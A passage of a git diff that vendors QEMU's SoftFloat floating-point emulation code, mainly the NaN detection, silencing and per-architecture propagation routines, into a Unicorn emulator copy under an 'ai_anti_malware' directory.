+#define float128_default_nan_low LIT64( 0xFFFFFFFFFFFFFFFF ) +#else +#define float128_default_nan_high LIT64( 0xFFFF800000000000 ) +#define float128_default_nan_low LIT64( 0x0000000000000000 ) +#endif + +const float128 float128_default_nan + = make_float128_init(float128_default_nan_high, float128_default_nan_low); + +/*---------------------------------------------------------------------------- +| Raises the exceptions specified by `flags'. Floating-point traps can be +| defined here if desired. It is currently not possible for such a trap +| to substitute a result value. If traps are not implemented, this routine +| should be simply `float_exception_flags |= flags;'. +*----------------------------------------------------------------------------*/ + +void float_raise( uint8_t flags STATUS_PARAM ) +{ + STATUS(float_exception_flags) |= flags; +} + +/*---------------------------------------------------------------------------- +| Internal canonical NaN format. +*----------------------------------------------------------------------------*/ +typedef struct { + flag sign; + uint64_t high, low; +} commonNaNT; + +#ifdef NO_SIGNALING_NANS +int float16_is_quiet_nan(float16 a_) +{ + return float16_is_any_nan(a_); +} + +int float16_is_signaling_nan(float16 a_) +{ + return 0; +} +#else +/*---------------------------------------------------------------------------- +| Returns 1 if the half-precision floating-point value `a' is a quiet +| NaN; otherwise returns 0. +*----------------------------------------------------------------------------*/ + +int float16_is_quiet_nan(float16 a_) +{ + uint16_t a = float16_val(a_); +#if SNAN_BIT_IS_ONE + return (((a >> 9) & 0x3F) == 0x3E) && (a & 0x1FF); +#else + return ((a & ~0x8000) >= 0x7c80); +#endif +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the half-precision floating-point value `a' is a signaling +| NaN; otherwise returns 0. +*----------------------------------------------------------------------------*/ + +int float16_is_signaling_nan(float16 a_) +{ + uint16_t a = float16_val(a_); +#if SNAN_BIT_IS_ONE + return ((a & ~0x8000) >= 0x7c80); +#else + return (((a >> 9) & 0x3F) == 0x3E) && (a & 0x1FF); +#endif +} +#endif + +/*---------------------------------------------------------------------------- +| Returns a quiet NaN if the half-precision floating point value `a' is a +| signaling NaN; otherwise returns `a'. +*----------------------------------------------------------------------------*/ +float16 float16_maybe_silence_nan(float16 a_) +{ + if (float16_is_signaling_nan(a_)) { +#if SNAN_BIT_IS_ONE +# if defined(TARGET_MIPS) || defined(TARGET_SH4) || defined(TARGET_UNICORE32) + return float16_default_nan; +# else +# error Rules for silencing a signaling NaN are target-specific +# endif +#else + uint16_t a = float16_val(a_); + a |= (1 << 9); + return make_float16(a); +#endif + } + return a_; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the half-precision floating-point NaN +| `a' to the canonical NaN format. If `a' is a signaling NaN, the invalid +| exception is raised. +*----------------------------------------------------------------------------*/ + +static commonNaNT float16ToCommonNaN( float16 a STATUS_PARAM ) +{ + commonNaNT z; + + if ( float16_is_signaling_nan( a ) ) float_raise( float_flag_invalid STATUS_VAR ); + z.sign = float16_val(a) >> 15; + z.low = 0; + z.high = ((uint64_t) float16_val(a))<<54; + return z; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the canonical NaN `a' to the half- +| precision floating-point format. +*----------------------------------------------------------------------------*/ + +static float16 commonNaNToFloat16(commonNaNT a STATUS_PARAM) +{ + uint16_t mantissa = a.high>>54; + + if (STATUS(default_nan_mode)) { + return float16_default_nan; + } + + if (mantissa) { + return make_float16(((((uint16_t) a.sign) << 15) + | (0x1F << 10) | mantissa)); + } else { + return float16_default_nan; + } +} + +#ifdef NO_SIGNALING_NANS +int float32_is_quiet_nan(float32 a_) +{ + return float32_is_any_nan(a_); +} + +int float32_is_signaling_nan(float32 a_) +{ + return 0; +} +#else +/*---------------------------------------------------------------------------- +| Returns 1 if the single-precision floating-point value `a' is a quiet +| NaN; otherwise returns 0. +*----------------------------------------------------------------------------*/ + +int float32_is_quiet_nan( float32 a_ ) +{ + uint32_t a = float32_val(a_); +#if SNAN_BIT_IS_ONE + return ( ( ( a>>22 ) & 0x1FF ) == 0x1FE ) && ( a & 0x003FFFFF ); +#else + return ( 0xFF800000 <= (uint32_t) ( a<<1 ) ); +#endif +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the single-precision floating-point value `a' is a signaling +| NaN; otherwise returns 0. +*----------------------------------------------------------------------------*/ + +int float32_is_signaling_nan( float32 a_ ) +{ + uint32_t a = float32_val(a_); +#if SNAN_BIT_IS_ONE + return ( 0xFF800000 <= (uint32_t) ( a<<1 ) ); +#else + return ( ( ( a>>22 ) & 0x1FF ) == 0x1FE ) && ( a & 0x003FFFFF ); +#endif +} +#endif + +/*---------------------------------------------------------------------------- +| Returns a quiet NaN if the single-precision floating point value `a' is a +| signaling NaN; otherwise returns `a'. +*----------------------------------------------------------------------------*/ + +float32 float32_maybe_silence_nan( float32 a_ ) +{ + if (float32_is_signaling_nan(a_)) { +#if SNAN_BIT_IS_ONE +# if defined(TARGET_MIPS) || defined(TARGET_SH4) || defined(TARGET_UNICORE32) + return float32_default_nan; +# else +# error Rules for silencing a signaling NaN are target-specific +# endif +#else + uint32_t a = float32_val(a_); + a |= (1 << 22); + return make_float32(a); +#endif + } + return a_; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the single-precision floating-point NaN +| `a' to the canonical NaN format. If `a' is a signaling NaN, the invalid +| exception is raised. +*----------------------------------------------------------------------------*/ + +static commonNaNT float32ToCommonNaN( float32 a STATUS_PARAM ) +{ + commonNaNT z; + + if ( float32_is_signaling_nan( a ) ) float_raise( float_flag_invalid STATUS_VAR ); + z.sign = float32_val(a)>>31; + z.low = 0; + z.high = ( (uint64_t) float32_val(a) )<<41; + return z; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the canonical NaN `a' to the single- +| precision floating-point format. +*----------------------------------------------------------------------------*/ + +static float32 commonNaNToFloat32( commonNaNT a STATUS_PARAM) +{ + uint32_t mantissa = a.high>>41; + + if ( STATUS(default_nan_mode) ) { + return float32_default_nan; + } + + if ( mantissa ) + return make_float32( + ( ( (uint32_t) a.sign )<<31 ) | 0x7F800000 | ( a.high>>41 ) ); + else + return float32_default_nan; +} + +/*---------------------------------------------------------------------------- +| Select which NaN to propagate for a two-input operation. +| IEEE754 doesn't specify all the details of this, so the +| algorithm is target-specific. +| The routine is passed various bits of information about the +| two NaNs and should return 0 to select NaN a and 1 for NaN b. +| Note that signalling NaNs are always squashed to quiet NaNs +| by the caller, by calling floatXX_maybe_silence_nan() before +| returning them. +| +| aIsLargerSignificand is only valid if both a and b are NaNs +| of some kind, and is true if a has the larger significand, +| or if both a and b have the same significand but a is +| positive but b is negative. It is only needed for the x87 +| tie-break rule. +*----------------------------------------------------------------------------*/ + +#if defined(TARGET_ARM) +static int pickNaN(flag aIsQNaN, flag aIsSNaN, flag bIsQNaN, flag bIsSNaN, + flag aIsLargerSignificand) +{ + /* ARM mandated NaN propagation rules: take the first of: + * 1. A if it is signaling + * 2. B if it is signaling + * 3. A (quiet) + * 4. B (quiet) + * A signaling NaN is always quietened before returning it. + */ + if (aIsSNaN) { + return 0; + } else if (bIsSNaN) { + return 1; + } else if (aIsQNaN) { + return 0; + } else { + return 1; + } +} +#elif defined(TARGET_MIPS) +static int pickNaN(flag aIsQNaN, flag aIsSNaN, flag bIsQNaN, flag bIsSNaN, + flag aIsLargerSignificand) +{ + /* According to MIPS specifications, if one of the two operands is + * a sNaN, a new qNaN has to be generated. This is done in + * floatXX_maybe_silence_nan(). For qNaN inputs the specifications + * says: "When possible, this QNaN result is one of the operand QNaN + * values." In practice it seems that most implementations choose + * the first operand if both operands are qNaN. In short this gives + * the following rules: + * 1. A if it is signaling + * 2. B if it is signaling + * 3. A (quiet) + * 4. B (quiet) + * A signaling NaN is always silenced before returning it. + */ + if (aIsSNaN) { + return 0; + } else if (bIsSNaN) { + return 1; + } else if (aIsQNaN) { + return 0; + } else { + return 1; + } +} +#elif defined(TARGET_PPC) || defined(TARGET_XTENSA) +static int pickNaN(flag aIsQNaN, flag aIsSNaN, flag bIsQNaN, flag bIsSNaN, + flag aIsLargerSignificand) +{ + /* PowerPC propagation rules: + * 1. A if it sNaN or qNaN + * 2. B if it sNaN or qNaN + * A signaling NaN is always silenced before returning it. + */ + if (aIsSNaN || aIsQNaN) { + return 0; + } else { + return 1; + } +} +#else +static int pickNaN(flag aIsQNaN, flag aIsSNaN, flag bIsQNaN, flag bIsSNaN, + flag aIsLargerSignificand) +{ + /* This implements x87 NaN propagation rules: + * SNaN + QNaN => return the QNaN + * two SNaNs => return the one with the larger significand, silenced + * two QNaNs => return the one with the larger significand + * SNaN and a non-NaN => return the SNaN, silenced + * QNaN and a non-NaN => return the QNaN + * + * If we get down to comparing significands and they are the same, + * return the NaN with the positive sign bit (if any). + */ + if (aIsSNaN) { + if (bIsSNaN) { + return aIsLargerSignificand ? 0 : 1; + } + return bIsQNaN ? 1 : 0; + } + else if (aIsQNaN) { + if (bIsSNaN || !bIsQNaN) + return 0; + else { + return aIsLargerSignificand ? 0 : 1; + } + } else { + return 1; + } +} +#endif + +/*---------------------------------------------------------------------------- +| Select which NaN to propagate for a three-input operation. +| For the moment we assume that no CPU needs the 'larger significand' +| information. +| Return values : 0 : a; 1 : b; 2 : c; 3 : default-NaN +*----------------------------------------------------------------------------*/ +#if defined(TARGET_ARM) +static int pickNaNMulAdd(flag aIsQNaN, flag aIsSNaN, flag bIsQNaN, flag bIsSNaN, + flag cIsQNaN, flag cIsSNaN, flag infzero STATUS_PARAM) +{ + /* For ARM, the (inf,zero,qnan) case sets InvalidOp and returns + * the default NaN + */ + if (infzero && cIsQNaN) { + float_raise(float_flag_invalid STATUS_VAR); + return 3; + } + + /* This looks different from the ARM ARM pseudocode, because the ARM ARM + * puts the operands to a fused mac operation (a*b)+c in the order c,a,b. + */ + if (cIsSNaN) { + return 2; + } else if (aIsSNaN) { + return 0; + } else if (bIsSNaN) { + return 1; + } else if (cIsQNaN) { + return 2; + } else if (aIsQNaN) { + return 0; + } else { + return 1; + } +} +#elif defined(TARGET_MIPS) +static int pickNaNMulAdd(flag aIsQNaN, flag aIsSNaN, flag bIsQNaN, flag bIsSNaN, + flag cIsQNaN, flag cIsSNaN, flag infzero STATUS_PARAM) +{ + /* For MIPS, the (inf,zero,qnan) case sets InvalidOp and returns + * the default NaN + */ + if (infzero) { + float_raise(float_flag_invalid STATUS_VAR); + return 3; + } + + /* Prefer sNaN over qNaN, in the a, b, c order. */ + if (aIsSNaN) { + return 0; + } else if (bIsSNaN) { + return 1; + } else if (cIsSNaN) { + return 2; + } else if (aIsQNaN) { + return 0; + } else if (bIsQNaN) { + return 1; + } else { + return 2; + } +} +#elif defined(TARGET_PPC) +static int pickNaNMulAdd(flag aIsQNaN, flag aIsSNaN, flag bIsQNaN, flag bIsSNaN, + flag cIsQNaN, flag cIsSNaN, flag infzero STATUS_PARAM) +{ + /* For PPC, the (inf,zero,qnan) case sets InvalidOp, but we prefer + * to return an input NaN if we have one (ie c) rather than generating + * a default NaN + */ + if (infzero) { + float_raise(float_flag_invalid STATUS_VAR); + return 2; + } + + /* If fRA is a NaN return it; otherwise if fRB is a NaN return it; + * otherwise return fRC. Note that muladd on PPC is (fRA * fRC) + frB + */ + if (aIsSNaN || aIsQNaN) { + return 0; + } else if (cIsSNaN || cIsQNaN) { + return 2; + } else { + return 1; + } +} +#else +/* A default implementation: prefer a to b to c. + * This is unlikely to actually match any real implementation. + */ +static int pickNaNMulAdd(flag aIsQNaN, flag aIsSNaN, flag bIsQNaN, flag bIsSNaN, + flag cIsQNaN, flag cIsSNaN, flag infzero STATUS_PARAM) +{ + if (aIsSNaN || aIsQNaN) { + return 0; + } else if (bIsSNaN || bIsQNaN) { + return 1; + } else { + return 2; + } +} +#endif + +/*---------------------------------------------------------------------------- +| Takes two single-precision floating-point values `a' and `b', one of which +| is a NaN, and returns the appropriate NaN result. If either `a' or `b' is a +| signaling NaN, the invalid exception is raised. +*----------------------------------------------------------------------------*/ + +static float32 propagateFloat32NaN( float32 a, float32 b STATUS_PARAM) +{ + flag aIsQuietNaN, aIsSignalingNaN, bIsQuietNaN, bIsSignalingNaN; + flag aIsLargerSignificand; + uint32_t av, bv; + + aIsQuietNaN = float32_is_quiet_nan( a ); + aIsSignalingNaN = float32_is_signaling_nan( a ); + bIsQuietNaN = float32_is_quiet_nan( b ); + bIsSignalingNaN = float32_is_signaling_nan( b ); + av = float32_val(a); + bv = float32_val(b); + + if ( aIsSignalingNaN | bIsSignalingNaN ) float_raise( float_flag_invalid STATUS_VAR); + + if ( STATUS(default_nan_mode) ) + return float32_default_nan; + + if ((uint32_t)(av<<1) < (uint32_t)(bv<<1)) { + aIsLargerSignificand = 0; + } else if ((uint32_t)(bv<<1) < (uint32_t)(av<<1)) { + aIsLargerSignificand = 1; + } else { + aIsLargerSignificand = (av < bv) ? 1 : 0; + } + + if (pickNaN(aIsQuietNaN, aIsSignalingNaN, bIsQuietNaN, bIsSignalingNaN, + aIsLargerSignificand)) { + return float32_maybe_silence_nan(b); + } else { + return float32_maybe_silence_nan(a); + } +} + +/*---------------------------------------------------------------------------- +| Takes three single-precision floating-point values `a', `b' and `c', one of +| which is a NaN, and returns the appropriate NaN result. If any of `a', +| `b' or `c' is a signaling NaN, the invalid exception is raised. +| The input infzero indicates whether a*b was 0*inf or inf*0 (in which case +| obviously c is a NaN, and whether to propagate c or some other NaN is +| implementation defined). +*----------------------------------------------------------------------------*/ + +static float32 propagateFloat32MulAddNaN(float32 a, float32 b, + float32 c, flag infzero STATUS_PARAM) +{ + flag aIsQuietNaN, aIsSignalingNaN, bIsQuietNaN, bIsSignalingNaN, + cIsQuietNaN, cIsSignalingNaN; + int which; + + aIsQuietNaN = float32_is_quiet_nan(a); + aIsSignalingNaN = float32_is_signaling_nan(a); + bIsQuietNaN = float32_is_quiet_nan(b); + bIsSignalingNaN = float32_is_signaling_nan(b); + cIsQuietNaN = float32_is_quiet_nan(c); + cIsSignalingNaN = float32_is_signaling_nan(c); + + if (aIsSignalingNaN | bIsSignalingNaN | cIsSignalingNaN) { + float_raise(float_flag_invalid STATUS_VAR); + } + + which = pickNaNMulAdd(aIsQuietNaN, aIsSignalingNaN, + bIsQuietNaN, bIsSignalingNaN, + cIsQuietNaN, cIsSignalingNaN, infzero STATUS_VAR); + + if (STATUS(default_nan_mode)) { + /* Note that this check is after pickNaNMulAdd so that function + * has an opportunity to set the Invalid flag. + */ + return float32_default_nan; + } + + switch (which) { + case 0: + return float32_maybe_silence_nan(a); + case 1: + return float32_maybe_silence_nan(b); + case 2: + return float32_maybe_silence_nan(c); + case 3: + default: + return float32_default_nan; + } +} + +#ifdef NO_SIGNALING_NANS +int float64_is_quiet_nan(float64 a_) +{ + return float64_is_any_nan(a_); +} + +int float64_is_signaling_nan(float64 a_) +{ + return 0; +} +#else +/*---------------------------------------------------------------------------- +| Returns 1 if the double-precision floating-point value `a' is a quiet +| NaN; otherwise returns 0. +*----------------------------------------------------------------------------*/ + +int float64_is_quiet_nan( float64 a_ ) +{ + uint64_t a = float64_val(a_); +#if SNAN_BIT_IS_ONE + return + ( ( ( a>>51 ) & 0xFFF ) == 0xFFE ) + && ( a & LIT64( 0x0007FFFFFFFFFFFF ) ); +#else + return ( LIT64( 0xFFF0000000000000 ) <= (uint64_t) ( a<<1 ) ); +#endif +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the double-precision floating-point value `a' is a signaling +| NaN; otherwise returns 0. +*----------------------------------------------------------------------------*/ + +int float64_is_signaling_nan( float64 a_ ) +{ + uint64_t a = float64_val(a_); +#if SNAN_BIT_IS_ONE + return ( LIT64( 0xFFF0000000000000 ) <= (uint64_t) ( a<<1 ) ); +#else + return + ( ( ( a>>51 ) & 0xFFF ) == 0xFFE ) + && ( a & LIT64( 0x0007FFFFFFFFFFFF ) ); +#endif +} +#endif + +/*---------------------------------------------------------------------------- +| Returns a quiet NaN if the double-precision floating point value `a' is a +| signaling NaN; otherwise returns `a'. +*----------------------------------------------------------------------------*/ + +float64 float64_maybe_silence_nan( float64 a_ ) +{ + if (float64_is_signaling_nan(a_)) { +#if SNAN_BIT_IS_ONE +# if defined(TARGET_MIPS) || defined(TARGET_SH4) || defined(TARGET_UNICORE32) + return float64_default_nan; +# else +# error Rules for silencing a signaling NaN are target-specific +# endif +#else + uint64_t a = float64_val(a_); + a |= LIT64( 0x0008000000000000 ); + return make_float64(a); +#endif + } + return a_; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the double-precision floating-point NaN +| `a' to the canonical NaN format. If `a' is a signaling NaN, the invalid +| exception is raised. +*----------------------------------------------------------------------------*/ + +static commonNaNT float64ToCommonNaN( float64 a STATUS_PARAM) +{ + commonNaNT z; + + if ( float64_is_signaling_nan( a ) ) float_raise( float_flag_invalid STATUS_VAR); + z.sign = float64_val(a)>>63; + z.low = 0; + z.high = float64_val(a)<<12; + return z; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the canonical NaN `a' to the double- +| precision floating-point format. +*----------------------------------------------------------------------------*/ + +static float64 commonNaNToFloat64( commonNaNT a STATUS_PARAM) +{ + uint64_t mantissa = a.high>>12; + + if ( STATUS(default_nan_mode) ) { + return float64_default_nan; + } + + if ( mantissa ) + return make_float64( + ( ( (uint64_t) a.sign )<<63 ) + | LIT64( 0x7FF0000000000000 ) + | ( a.high>>12 )); + else + return float64_default_nan; +} + +/*---------------------------------------------------------------------------- +| Takes two double-precision floating-point values `a' and `b', one of which +| is a NaN, and returns the appropriate NaN result. If either `a' or `b' is a +| signaling NaN, the invalid exception is raised. +*----------------------------------------------------------------------------*/ + +static float64 propagateFloat64NaN( float64 a, float64 b STATUS_PARAM) +{ + flag aIsQuietNaN, aIsSignalingNaN, bIsQuietNaN, bIsSignalingNaN; + flag aIsLargerSignificand; + uint64_t av, bv; + + aIsQuietNaN = float64_is_quiet_nan( a ); + aIsSignalingNaN = float64_is_signaling_nan( a ); + bIsQuietNaN = float64_is_quiet_nan( b ); + bIsSignalingNaN = float64_is_signaling_nan( b ); + av = float64_val(a); + bv = float64_val(b); + + if ( aIsSignalingNaN | bIsSignalingNaN ) float_raise( float_flag_invalid STATUS_VAR); + + if ( STATUS(default_nan_mode) ) + return float64_default_nan; + + if ((uint64_t)(av<<1) < (uint64_t)(bv<<1)) { + aIsLargerSignificand = 0; + } else if ((uint64_t)(bv<<1) < (uint64_t)(av<<1)) { + aIsLargerSignificand = 1; + } else { + aIsLargerSignificand = (av < bv) ? 1 : 0; + } + + if (pickNaN(aIsQuietNaN, aIsSignalingNaN, bIsQuietNaN, bIsSignalingNaN, + aIsLargerSignificand)) { + return float64_maybe_silence_nan(b); + } else { + return float64_maybe_silence_nan(a); + } +} + +/*---------------------------------------------------------------------------- +| Takes three double-precision floating-point values `a', `b' and `c', one of +| which is a NaN, and returns the appropriate NaN result. If any of `a', +| `b' or `c' is a signaling NaN, the invalid exception is raised. +| The input infzero indicates whether a*b was 0*inf or inf*0 (in which case +| obviously c is a NaN, and whether to propagate c or some other NaN is +| implementation defined). +*----------------------------------------------------------------------------*/ + +static float64 propagateFloat64MulAddNaN(float64 a, float64 b, + float64 c, flag infzero STATUS_PARAM) +{ + flag aIsQuietNaN, aIsSignalingNaN, bIsQuietNaN, bIsSignalingNaN, + cIsQuietNaN, cIsSignalingNaN; + int which; + + aIsQuietNaN = float64_is_quiet_nan(a); + aIsSignalingNaN = float64_is_signaling_nan(a); + bIsQuietNaN = float64_is_quiet_nan(b); + bIsSignalingNaN = float64_is_signaling_nan(b); + cIsQuietNaN = float64_is_quiet_nan(c); + cIsSignalingNaN = float64_is_signaling_nan(c); + + if (aIsSignalingNaN | bIsSignalingNaN | cIsSignalingNaN) { + float_raise(float_flag_invalid STATUS_VAR); + } + + which = pickNaNMulAdd(aIsQuietNaN, aIsSignalingNaN, + bIsQuietNaN, bIsSignalingNaN, + cIsQuietNaN, cIsSignalingNaN, infzero STATUS_VAR); + + if (STATUS(default_nan_mode)) { + /* Note that this check is after pickNaNMulAdd so that function + * has an opportunity to set the Invalid flag. + */ + return float64_default_nan; + } + + switch (which) { + case 0: + return float64_maybe_silence_nan(a); + case 1: + return float64_maybe_silence_nan(b); + case 2: + return float64_maybe_silence_nan(c); + case 3: + default: + return float64_default_nan; + } +} + +#ifdef NO_SIGNALING_NANS +int floatx80_is_quiet_nan(floatx80 a_) +{ + return floatx80_is_any_nan(a_); +} + +int floatx80_is_signaling_nan(floatx80 a_) +{ + return 0; +} +#else +/*---------------------------------------------------------------------------- +| Returns 1 if the extended double-precision floating-point value `a' is a +| quiet NaN; otherwise returns 0. This slightly differs from the same +| function for other types as floatx80 has an explicit bit. +*----------------------------------------------------------------------------*/ + +int floatx80_is_quiet_nan( floatx80 a ) +{ +#if SNAN_BIT_IS_ONE + uint64_t aLow; + + aLow = a.low & ~ LIT64( 0x4000000000000000 ); + return + ( ( a.high & 0x7FFF ) == 0x7FFF ) + && (uint64_t) ( aLow<<1 ) + && ( a.low == aLow ); +#else + return ( ( a.high & 0x7FFF ) == 0x7FFF ) + && (LIT64( 0x8000000000000000 ) <= ((uint64_t) ( a.low<<1 ))); +#endif +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the extended double-precision floating-point value `a' is a +| signaling NaN; otherwise returns 0. This slightly differs from the same +| function for other types as floatx80 has an explicit bit. +*----------------------------------------------------------------------------*/ + +int floatx80_is_signaling_nan( floatx80 a ) +{ +#if SNAN_BIT_IS_ONE + return ( ( a.high & 0x7FFF ) == 0x7FFF ) + && (LIT64( 0x8000000000000000 ) <= ((uint64_t) ( a.low<<1 ))); +#else + uint64_t aLow; + + aLow = a.low & ~ LIT64( 0x4000000000000000 ); + return + ( ( a.high & 0x7FFF ) == 0x7FFF ) + && (uint64_t) ( aLow<<1 ) + && ( a.low == aLow ); +#endif +} +#endif + +/*---------------------------------------------------------------------------- +| Returns a quiet NaN if the extended double-precision floating point value +| `a' is a signaling NaN; otherwise returns `a'. +*----------------------------------------------------------------------------*/ + +floatx80 floatx80_maybe_silence_nan( floatx80 a ) +{ + if (floatx80_is_signaling_nan(a)) { +#if SNAN_BIT_IS_ONE +# if defined(TARGET_MIPS) || defined(TARGET_SH4) || defined(TARGET_UNICORE32) + a.low = floatx80_default_nan_low; + a.high = floatx80_default_nan_high; +# else +# error Rules for silencing a signaling NaN are target-specific +# endif +#else + a.low |= LIT64( 0xC000000000000000 ); + return a; +#endif + } + return a; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the extended double-precision floating- +| point NaN `a' to the canonical NaN format. If `a' is a signaling NaN, the +| invalid exception is raised. +*----------------------------------------------------------------------------*/ + +static commonNaNT floatx80ToCommonNaN( floatx80 a STATUS_PARAM) +{ + commonNaNT z; + + if ( floatx80_is_signaling_nan( a ) ) float_raise( float_flag_invalid STATUS_VAR); + if ( a.low >> 63 ) { + z.sign = a.high >> 15; + z.low = 0; + z.high = a.low << 1; + } else { + z.sign = floatx80_default_nan_high >> 15; + z.low = 0; + z.high = floatx80_default_nan_low << 1; + } + return z; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the canonical NaN `a' to the extended +| double-precision floating-point format. +*----------------------------------------------------------------------------*/ + +static floatx80 commonNaNToFloatx80( commonNaNT a STATUS_PARAM) +{ + floatx80 z; + + if ( STATUS(default_nan_mode) ) { + z.low = floatx80_default_nan_low; + z.high = floatx80_default_nan_high; + return z; + } + + if (a.high >> 1) { + z.low = LIT64( 0x8000000000000000 ) | a.high >> 1; + z.high = ( ( (uint16_t) a.sign )<<15 ) | 0x7FFF; + } else { + z.low = floatx80_default_nan_low; + z.high = floatx80_default_nan_high; + } + + return z; +} + +/*---------------------------------------------------------------------------- +| Takes two extended double-precision floating-point values `a' and `b', one +| of which is a NaN, and returns the appropriate NaN result. If either `a' or +| `b' is a signaling NaN, the invalid exception is raised. +*----------------------------------------------------------------------------*/ + +static floatx80 propagateFloatx80NaN( floatx80 a, floatx80 b STATUS_PARAM) +{ + flag aIsQuietNaN, aIsSignalingNaN, bIsQuietNaN, bIsSignalingNaN; + flag aIsLargerSignificand; + + aIsQuietNaN = floatx80_is_quiet_nan( a ); + aIsSignalingNaN = floatx80_is_signaling_nan( a ); + bIsQuietNaN = floatx80_is_quiet_nan( b ); + bIsSignalingNaN = floatx80_is_signaling_nan( b ); + + if ( aIsSignalingNaN | bIsSignalingNaN ) float_raise( float_flag_invalid STATUS_VAR); + + if ( STATUS(default_nan_mode) ) { + a.low = floatx80_default_nan_low; + a.high = floatx80_default_nan_high; + return a; + } + + if (a.low < b.low) { + aIsLargerSignificand = 0; + } else if (b.low < a.low) { + aIsLargerSignificand = 1; + } else { + aIsLargerSignificand = (a.high < b.high) ? 1 : 0; + } + + if (pickNaN(aIsQuietNaN, aIsSignalingNaN, bIsQuietNaN, bIsSignalingNaN, + aIsLargerSignificand)) { + return floatx80_maybe_silence_nan(b); + } else { + return floatx80_maybe_silence_nan(a); + } +} + +#ifdef NO_SIGNALING_NANS +int float128_is_quiet_nan(float128 a_) +{ + return float128_is_any_nan(a_); +} + +int float128_is_signaling_nan(float128 a_) +{ + return 0; +} +#else +/*---------------------------------------------------------------------------- +| Returns 1 if the quadruple-precision floating-point value `a' is a quiet +| NaN; otherwise returns 0. +*----------------------------------------------------------------------------*/ + +int float128_is_quiet_nan( float128 a ) +{ +#if SNAN_BIT_IS_ONE + return + ( ( ( a.high>>47 ) & 0xFFFF ) == 0xFFFE ) + && ( a.low || ( a.high & LIT64( 0x00007FFFFFFFFFFF ) ) ); +#else + return + ( LIT64( 0xFFFE000000000000 ) <= (uint64_t) ( a.high<<1 ) ) + && ( a.low || ( a.high & LIT64( 0x0000FFFFFFFFFFFF ) ) ); +#endif +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the quadruple-precision floating-point value `a' is a +| signaling NaN; otherwise returns 0. +*----------------------------------------------------------------------------*/ + +int float128_is_signaling_nan( float128 a ) +{ +#if SNAN_BIT_IS_ONE + return + ( LIT64( 0xFFFE000000000000 ) <= (uint64_t) ( a.high<<1 ) ) + && ( a.low || ( a.high & LIT64( 0x0000FFFFFFFFFFFF ) ) ); +#else + return + ( ( ( a.high>>47 ) & 0xFFFF ) == 0xFFFE ) + && ( a.low || ( a.high & LIT64( 0x00007FFFFFFFFFFF ) ) ); +#endif +} +#endif + +/*---------------------------------------------------------------------------- +| Returns a quiet NaN if the quadruple-precision floating point value `a' is +| a signaling NaN; otherwise returns `a'. +*----------------------------------------------------------------------------*/ + +float128 float128_maybe_silence_nan( float128 a ) +{ + if (float128_is_signaling_nan(a)) { +#if SNAN_BIT_IS_ONE +# if defined(TARGET_MIPS) || defined(TARGET_SH4) || defined(TARGET_UNICORE32) + a.low = float128_default_nan_low; + a.high = float128_default_nan_high; +# else +# error Rules for silencing a signaling NaN are target-specific +# endif +#else + a.high |= LIT64( 0x0000800000000000 ); + return a; +#endif + } + return a; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the quadruple-precision floating-point NaN +| `a' to the canonical NaN format. If `a' is a signaling NaN, the invalid +| exception is raised. +*----------------------------------------------------------------------------*/ + +static commonNaNT float128ToCommonNaN( float128 a STATUS_PARAM) +{ + commonNaNT z; + + if ( float128_is_signaling_nan( a ) ) float_raise( float_flag_invalid STATUS_VAR); + z.sign = a.high>>63; + shortShift128Left( a.high, a.low, 16, &z.high, &z.low ); + return z; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the canonical NaN `a' to the quadruple- +| precision floating-point format. +*----------------------------------------------------------------------------*/ + +static float128 commonNaNToFloat128( commonNaNT a STATUS_PARAM) +{ + float128 z; + + if ( STATUS(default_nan_mode) ) { + z.low = float128_default_nan_low; + z.high = float128_default_nan_high; + return z; + } + + shift128Right( a.high, a.low, 16, &z.high, &z.low ); + z.high |= ( ( (uint64_t) a.sign )<<63 ) | LIT64( 0x7FFF000000000000 ); + return z; +} + +/*---------------------------------------------------------------------------- +| Takes two quadruple-precision floating-point values `a' and `b', one of +| which is a NaN, and returns the appropriate NaN result. If either `a' or +| `b' is a signaling NaN, the invalid exception is raised. +*----------------------------------------------------------------------------*/ + +static float128 propagateFloat128NaN( float128 a, float128 b STATUS_PARAM) +{ + flag aIsQuietNaN, aIsSignalingNaN, bIsQuietNaN, bIsSignalingNaN; + flag aIsLargerSignificand; + + aIsQuietNaN = float128_is_quiet_nan( a ); + aIsSignalingNaN = float128_is_signaling_nan( a ); + bIsQuietNaN = float128_is_quiet_nan( b ); + bIsSignalingNaN = float128_is_signaling_nan( b ); + + if ( aIsSignalingNaN | bIsSignalingNaN ) float_raise( float_flag_invalid STATUS_VAR); + + if ( STATUS(default_nan_mode) ) { + a.low = float128_default_nan_low; + a.high = float128_default_nan_high; + return a; + } + + if (lt128(a.high<<1, a.low, b.high<<1, b.low)) { + aIsLargerSignificand = 0; + } else if (lt128(b.high<<1, b.low, a.high<<1, a.low)) { + aIsLargerSignificand = 1; + } else { + aIsLargerSignificand = (a.high < b.high) ? 1 : 0; + } + + if (pickNaN(aIsQuietNaN, aIsSignalingNaN, bIsQuietNaN, bIsSignalingNaN, + aIsLargerSignificand)) { + return float128_maybe_silence_nan(b); + } else { + return float128_maybe_silence_nan(a); + } +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/fpu/softfloat.c b/ai_anti_malware/unicorn/unicorn-master/qemu/fpu/softfloat.c new file mode 100644 index 0000000..d1031ba --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/fpu/softfloat.c @@ -0,0 +1,7579 @@ +/* + * QEMU float support + * + * Derived from SoftFloat. + */ + +/*============================================================================ + +This C source file is part of the SoftFloat IEC/IEEE Floating-point Arithmetic +Package, Release 2b. + +Written by John R. Hauser. This work was made possible in part by the +International Computer Science Institute, located at Suite 600, 1947 Center +Street, Berkeley, California 94704. Funding was partially provided by the +National Science Foundation under grant MIP-9311980. The original version +of this code was written as part of a project to build a fixed-point vector +processor in collaboration 